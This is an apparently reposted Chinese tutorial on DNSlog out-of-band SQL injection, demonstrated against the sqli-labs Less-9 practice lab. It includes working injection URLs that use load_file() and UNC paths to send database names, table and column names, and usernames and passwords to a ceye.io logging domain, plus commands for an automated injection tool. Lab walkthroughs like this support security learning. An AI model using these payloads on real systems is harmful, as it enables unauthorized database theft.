SQL注入——DNSlog注入,限制有点大
2021/6/21 2:30:56
本文主要是介绍SQL注入——DNSlog注入,限制有点大,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
DNSlog注入
原理:
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
利用场景:
在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。
推荐平台:
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
当然你可以根据开源源码自己搭建dnslog服务器,这里贴上BugScan团队开源源码
https://github.com/BugScanTeam/DNSLog
这里我就拿ceye.io平台 注册演示。
他会给你一个三级域名,你把信息写在第四级域名上就好了,比如我这里访问secquan.xxxx.cece.io ,访问之后就会有查询记录。
A)利用一:sql注入
不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\\www.test.com这样的URL发起请求。
show variables like '%secure%';查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。
在mysql命令行执行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查询语句
查看平台,dnsLog被记录下来。
PS:稍微解释一下这个语句,这里使用concat函数将(select database())得到的内容作为查询url的一部分,和我们的平台三级域名拼接组合成一个四级域名,而load_file函数会通过dns解析请求,所以我们在dnslog平台就可以看到查询的记录(包含着我们注入出的数据)
对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。
Less-9实验主要是:单引号时间盲注
输入单引号,发现页面也是正常的:
http://localhost/Less-9/?id=1
从源代码中也可以看出,无论输入什么,回显都是一样的:
因此这里可以时间盲注。
当然,也可以是用dnslog注入
一、原理
攻击者向 mysql 数据库提交注入语句
?id=1' and if((select load_file(concat('\\\\',(攻击代码),'.xxxxxx.ceye.io\\abc'))),1,0)--+
if(x,1,0) 如果x为真,则输出1,假则输出0
load_file() 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有 FILE 权限。 该文件所有字节可读,但文件内容必须小于 max_allowed_packet,这个函数也可以用来发送 dns 解析请求,并且只能在 Windows 平台发起 load_file 请求(使用的限制很大!!!)
concat() 拼接字段,将查询结果拼接为完整域名
\\\\ 转义后代表 \\,攻击者可以使用 Microsoft Windows 通用命名约定(UNC)的文件和目录路径格式利用扩展存储程序引发 DNS 地址解析,Windows 系统的UNC语法具有通用的形式:
\\ComputerName\SharedFolder\Resource
总结来说,数据库中攻击语句被执行,由 concat 函数将执行结果与 xxxxxx.ceye.io\\abc 拼接,构成一个新的域名,而 mysql 中的 select load_file() 可以发起请求,然后这一条带有数据库查询结果的域名就被提交到 dns 服务器进行解析
二、环境
搭建 sqli-labs 支持 php7 的靶场,源码地址 https://github.com/skyblueee/sqli-labs-php7
因为 dnslog 盲注需要使用 load_file() 函数,所以一般得是 root 权限。sql 语句 show variables like '%secure%'; 查看 load_file() 可以读取的磁盘,若不可用,则修改 my.ini 配置文件
当 secure_file_priv 为空,就可以读取磁盘的目录
当 secure_file_priv 为 G:\,就可以读取G盘的文件
当 secure_file_priv 为 null,load_file 就不能加载文件
我的环境需要修改 my.ini 文件,添加一行 secure_file_priv="",重启 mysql 服务,再次查询
三、盲注
dnslog 使用 ceye.io 的平台
查当前数据库
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select database()),'.打码打码.ceye.io\\abc'))),1,0)-- +
查第一个数据表
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.打码打码.ceye.io\\abc'))),1,0)-- +
查 users 表的第一个字段
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.打码打码.ceye.io\\abc'))),1,0)-- +
查字段中数据
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select username from users limit 0,1),'.打码打码.ceye.io\\abc'))),1,0)-- +
用 group_ws() 函数分割,因为在 load_file() 里面不能使用 @ ~ 等符号分割,用 hex() 函数转成十六进制,出来结果了再转回去即可
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.打码打码.ceye.io\\abc'))),1,0)-- +
limit m , n;
m:表示开始查询的第一条记录的编号(第一个结果的记录编号是0)
n:表示查询多少条记录
四、工具
自动化 dnslog sql 注入工具 https://github.com/ADOOO/DnslogSqlinj 使用方法和 sqlmap 类似,配置一下 config.py 的 APItoken 和 DNSurl
python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump
参考:
https://www.cnblogs.com/afanti/p/8047530.html
https://blog.csdn.net/weixin_44743506/article/details/100148914
https://www.cnblogs.com/xhds/p/12322839.html
这篇关于SQL注入——DNSlog注入,限制有点大的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-22项目:远程温湿度检测系统
- 2024-12-21《鸿蒙HarmonyOS应用开发从入门到精通(第2版)》简介
- 2024-12-21后台管理系统开发教程:新手入门全指南
- 2024-12-21后台开发教程:新手入门及实战指南
- 2024-12-21后台综合解决方案教程:新手入门指南
- 2024-12-21接口模块封装教程:新手必备指南
- 2024-12-21请求动作封装教程:新手必看指南
- 2024-12-21RBAC的权限教程:从入门到实践
- 2024-12-21登录鉴权实战:新手入门教程
- 2024-12-21动态权限实战入门指南